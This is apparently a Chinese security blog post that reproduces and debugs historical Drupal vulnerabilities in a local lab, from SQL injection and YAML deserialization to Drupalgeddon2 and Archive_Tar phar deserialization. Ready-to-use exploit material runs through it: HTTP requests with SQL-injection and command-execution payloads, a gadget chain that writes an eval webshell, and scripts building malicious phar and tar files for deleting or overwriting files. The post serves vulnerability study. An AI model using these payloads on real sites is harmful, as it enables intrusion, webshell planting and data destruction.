文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-01-22   3.1k

Durpal历史漏洞复现记录

在具体分析Drupal的历史漏洞之前,可能需要先大致了解一下Durpal的整个工作流程,这里推荐三篇文章:

https://blog.csdn.net/u011474028/article/details/53021051

https://blog.fleeto.us/post/drupal-from-request-to-response/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/

CVE-2014-3704 SQL注入漏洞

影响版本

Drupal < 7.32

环境安装

从官网中下载Drupal 7.31版本的源码

1
https://www.drupal.org/project/drupal/releases/7.31

使用MAMP Pro搭建站点后,更改数据库的相关配置:

访问本地IP:8080端口,使用默认安装配置即可。

验证安装成功:

在不登录的情况下,验证payload:

1
2
3
4
5
6
7
8
9
10
11
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

漏洞分析

我们可以从上面这张图中看出,漏洞的触发点是在user.module文件中的user_login_authenticate_validate()这个函数。

下断点调试,查看函数调用栈:

这个函数在2149行对准备将提交的name参数进行SQL语句拼接:

继续跟进db_query函数,此时payload存储在args数组中

调用query()函数,在这个函数中,继续调用expandArguments进行实质的SQL语句拼接

此时query已经是拼接后的SQL语句

最后执行SQL

在mysql monitor工具中可以看到具体的执行语句

CVE-2017-6920 反序列化任意代码执行漏洞

影响版本

Drupal 8 < 8.3.3

环境安装

从官网中下载Durpal 8.3.0版本的源码

1
https://www.drupal.org/project/drupal/releases/8.3.0

使用MAMP Pro集成环境搭建,更改php.ini配置,打开Yaml扩展:

查看PHPINFO验证是否开启Yaml扩展:

必须在配置文件中启用yaml.decode_php,否则无法复现成功。

1
yaml.decode_php = 1
  1. 登录管理员账号

  2. 访问http://127.0.0.1:8080/admin/config/development/configuration/single/import

  3. POC:!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

成功执行phpinfo

漏洞分析

查看官方的commit记录可以发现漏洞的触发点:

可以看到8.3.4版本的decode函数新增了一段代码,其作用主要就是改变PHP配置文件中的yaml.decode_php=0,那么我们就跟进这个文件:

漏洞所在函数decode的触发点代码就是上图中调用yaml_parse这个函数,其中$raw参数直接被带入yaml_parse函数中,看一下官方文档对于这个函数的描述:

第一个参数是需要parse成yaml的文档流,并且这个参数是从这个函数外部输入的。另外,在官方文档的下方有一个对这个函数的特别说明:

意思就是如果使用了!php/objecttag,yaml_parse会对第一个参数调用unserialize(),如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码。

因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。

那么控制decode函数的参数$raw就可以出发这个漏洞。回溯定位decode函数的调用位置,在core/lib/Drupal/Component/Serialization/Yaml.php文件中

在第34行该函数调用了getSerializer函数,跟进到第48行,首先判断是否存在yaml扩展,如果存在的话就使用YamlPecl类,然后调用这个类中的decode函数,也就是会调用yaml_parse函数。

继续回溯调用Yaml::decode函数的地方,全局查找一共有36处地方:

其中外部可控的地方只有一处,位于ConfigSingleImportForm.php文件中。

这里对外部输入的import值进行Yaml::decode操作,那么这就是漏洞的数据触发点。

既然是反序列化,那么就需要找到一个可以反序列化的类。全局搜索__destruct__wakeup关键字,一般而言__destruct更容易利用。

  1. /vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

    通过反序列化这个类可以造成写入webshell,但是利用过程相比后面两个而言更为麻烦一点。PHPGGC已经包含了这个gadget,拿过来稍微改一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    <?php

    namespace GuzzleHttp\Cookie
    {
    class SetCookie
    {
    private $data;

    public function __construct($data)
    {
    $this->data = [
    'Name' => 'ca01h',
    'Value' => 'ca01h',
    'Expires' => 1,
    'Discard' => false,
    'Domain' => $data
    ];
    }
    }

    class CookieJar
    {
    private $cookies = [];
    private $strictMode;

    public function __construct($data)
    {
    $this->cookies = [new SetCookie($data)];
    }
    }

    class FileCookieJar extends CookieJar
    {
    private $filename;
    private $storeSessionCookies = true;

    public function __construct($filename, $data)
    {
    parent::__construct($data);
    $this->filename = $filename;
    }
    }
    $new = new FileCookieJar('/Users/ca01h/Desktop/shell.php', '<?php @eval($_POST[1]);?>');
    echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
    }
  2. /vendor/symfony/process/Pipes/WindowsPipes.php

    反序列化这个类可以造成任意文件删除。

  3. /vendor/guzzlehttp/psr7/src/FnStream.php

    反序列化这个类可以实现无参数RCE。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    namespace GuzzleHttp\Psr7
    {
    class FnStream
    {
    private $methods;

    public function __construct(array $methods)
    {
    $this->methods = $methods;

    // Create the functions on the class
    foreach ($methods as $name => $fn) {
    $this->{'_fn_' . $name} = $fn;
    }
    }
    }

    $new = new FnStream(array("close" => "phpinfo()"));
    echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
    }

CVE-2018-7600 远程命令执行漏洞

影响版本

Drupal 7 < 7.58

Drupal 8.3.x < 8.3.9

Drupal 8.4.x < 8.4.6

Drupal 8.5.x < 8.5.1

环境安装

从官网中下载Durpal 8.5.0版本的源码

1
https://www.drupal.org/project/drupal/releases/8.5.0

使用MAMP Pro搭建,成功安装后,在不登录的情况下发送如下数据包:

1
2
3
4
5
6
7
8
9
10
11
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

漏洞分析

https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/

CVE-2018-7602 远程命令执行漏洞

http://blog.nsfocus.net/cve-2018-7602-drupal/

CVE-2019-6339 远程代码执行漏洞

https://paper.seebug.org/897/

CVE-2019-6341 1-click XSS

CVE-2020-28948/28949 远程代码执行漏洞/任意文件覆盖漏洞

影响版本

Drupal 9 < 9.0.9

Drupal 8.9 < 8.9.10

Drupal 8.8 < 8.8.12

Drupal 8.x (x≠8)

Drupal 7 < 7.75

漏洞分析

先查看Drupal官方发的漏洞通报:

https://www.drupal.org/sa-core-2020-013

通报中提到,Drupal使用了Archive_Tar第三方PEAR组件,而这个组件最近发布了一版安全更新,那么就先去官方仓库上看看Drupal是怎么修复这个漏洞的。以Drupal 8.9版本为例:

https://git.drupalcode.org/project/drupal/-/commit/1a9383ed9010af01608a5481ad443eb72c1bea7e

可以很明显的看到,Drupal将Archive_tar的版本从1.4.9升级到1.4.11。所以这个漏洞的源头并不是Drupal代码出了问题,而是第三方组件Archive_tar存在缺陷。那我们就主要分析一下Archive_tar的漏洞成因,同样的,去这个组件的GitHub仓库看两个版本的差异点。

https://github.com/pear/Archive_Tar/compare/1.4.9...1.4.11

左边是1.4.9版本的代码,右边是1.4.11版本的代码,漏洞的源头就是在于_maliciousFilename函数中。

作者为了防止反序列化漏洞,过滤了phar://关键字,但明显strpos这种简单的过滤还是太年轻了,可以很容易地用大写来绕过PHAR://exploit.phar,从而导致反序列化漏洞的产生,这就是CVE-2020-28948漏洞的根源。同样CVE-2020-28949漏洞的根源也在这个地方,我们可以使用file://path/to/file/to/be/overwritten协议作为文件名,从而导致文件覆盖的漏洞。

Archive_tar组件也很简单,就一个PHP文件,具体的漏洞成因我们审计这一个文件即可。

一共也就两个地方用到了_maliciousfilename这个函数,一个是_readHeader函数,另一个是_readLongHeader函数。

而从上图可以看到,在_readLongHeader函数中,还是调用了_readHeader函数,所以我们主要分析_readHeader这个函数。

这个函数比较长,但是通读下来,发现就做了一件事情,读取压缩文件的头部信息,这些信息包括checksumproperty,其中property包含了filenamemodeuidgidsize等等字段,将这些信息存储在$v_header中并返回到上一级函数,那么我们就进行回溯工作,看有哪些地方调用了_readHeader这个函数。

全局查找后,发现一共有三个地方,分别是_readLongHeader_extractList_extractInString,后两个函数对比一下就可以发现,_extractList是一个较为完整的解压缩过程,那从这里开始分析肯定是没错的。

在1989行调用了readHeader函数,在我们跟踪$v_header['filename']参数之前,由于函数传参较多,而且参数会很大程度上影响程序流程,所以我们调研一下Archive_tar组件使用方法后发现,解压缩主要是用到extract这个函数。

继续跟进extractModify函数

在574行调用了_extractList函数,进入上述所说的实质性解压操作。

根据上图的参数,正常程序流程会进入到2049行的if语句中,并且不会进入到2050行和2062行的if语句中。

接下来在执行2075行的if语句时,调用了file_exsits函数,参数是原本$v_header['filename']的值,此时如果这个值是PHAR://exploit.phar,并且当前文件夹上传了expliot.phar文件,那么就会触发反序列化漏洞。

既然是反序列化操作,那么就需要全局搜索__destruct或者__wakeup函数。

全局搜索析构函数后,继续跟进_close函数

在该函数的最后一部分,当_temp_tarname不为空的时候,会调用unlink删除文件函数,那么这个地方就可以触发任意文件删除的漏洞了。

分析完漏洞成因后,接下来就是编写漏洞利用的脚本了。首先新建一个ca01h_test的文件,内容随意,接下来编写生成Phar文件的PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ini_set('phar.readonly','Off');
class Archive_Tar {
public $_temp_tarname;
function __construct($_temp_tarname) {
$this->_temp_tarname = $_temp_tarname;
}
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$tar = new Archive_Tar('ca01h_test');
$phar->setMetadata($tar);
$phar->stopBuffering();

然后再编写python脚本生成一个压缩文件,其中被压缩的文件名是PHAR://exploit.phar,input_file.txt文件内容随意:

1
2
3
4
import tarfile
tar = tarfile.open('exploit.tar', 'w')
tar.add('input_file.txt', 'PHAR://exploit.phar')
tar.close()

最后编写触发漏洞的代码:

1
2
3
4
5
<?php
require_once('../Archive/Tar.php');

$archive = new Archive_Tar('exploit.tar');
$archive->extract();

运行上面代码后,可以发现ca01h_test文件被删除。

接下来再讨论一下CVE-2020-28948,产生漏洞的原因同时是因为过滤不严,只是触发漏洞的位置不一样而言。

程序在第2151行或2158行调用了fwrite函数,将从压缩文件读出来的文件内容写入到$v_header[filename]文件中,那么这个地方就可能造成任意文件覆盖的漏洞。流程如下:

首先生成一个测试文件,内容随意:

1
echo "test" > /tmp/target_file

再用python脚本生成带有恶意payload文件名的压缩文件:

1
2
3
4
import tarfile
tar = tarfile.open('exploit.tar', 'w')
tar.add('input_file.txt', 'file:///tmp/target_file')
tar.close()

最后执行同样的漏洞触发代码:

1
2
3
4
5
<?php
require_once('../Archive/Tar.php');

$archive = new Archive_Tar('exploit.tar');
$archive->extract();

参考

https://github.com/vulhub/vulhub/tree/master/drupal

https://paper.seebug.org/334/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/

https://kylingit.com/blog/由phpggc理解php反序列化漏洞/

Copyright © ca01h 2019-2021 | 本站总访问量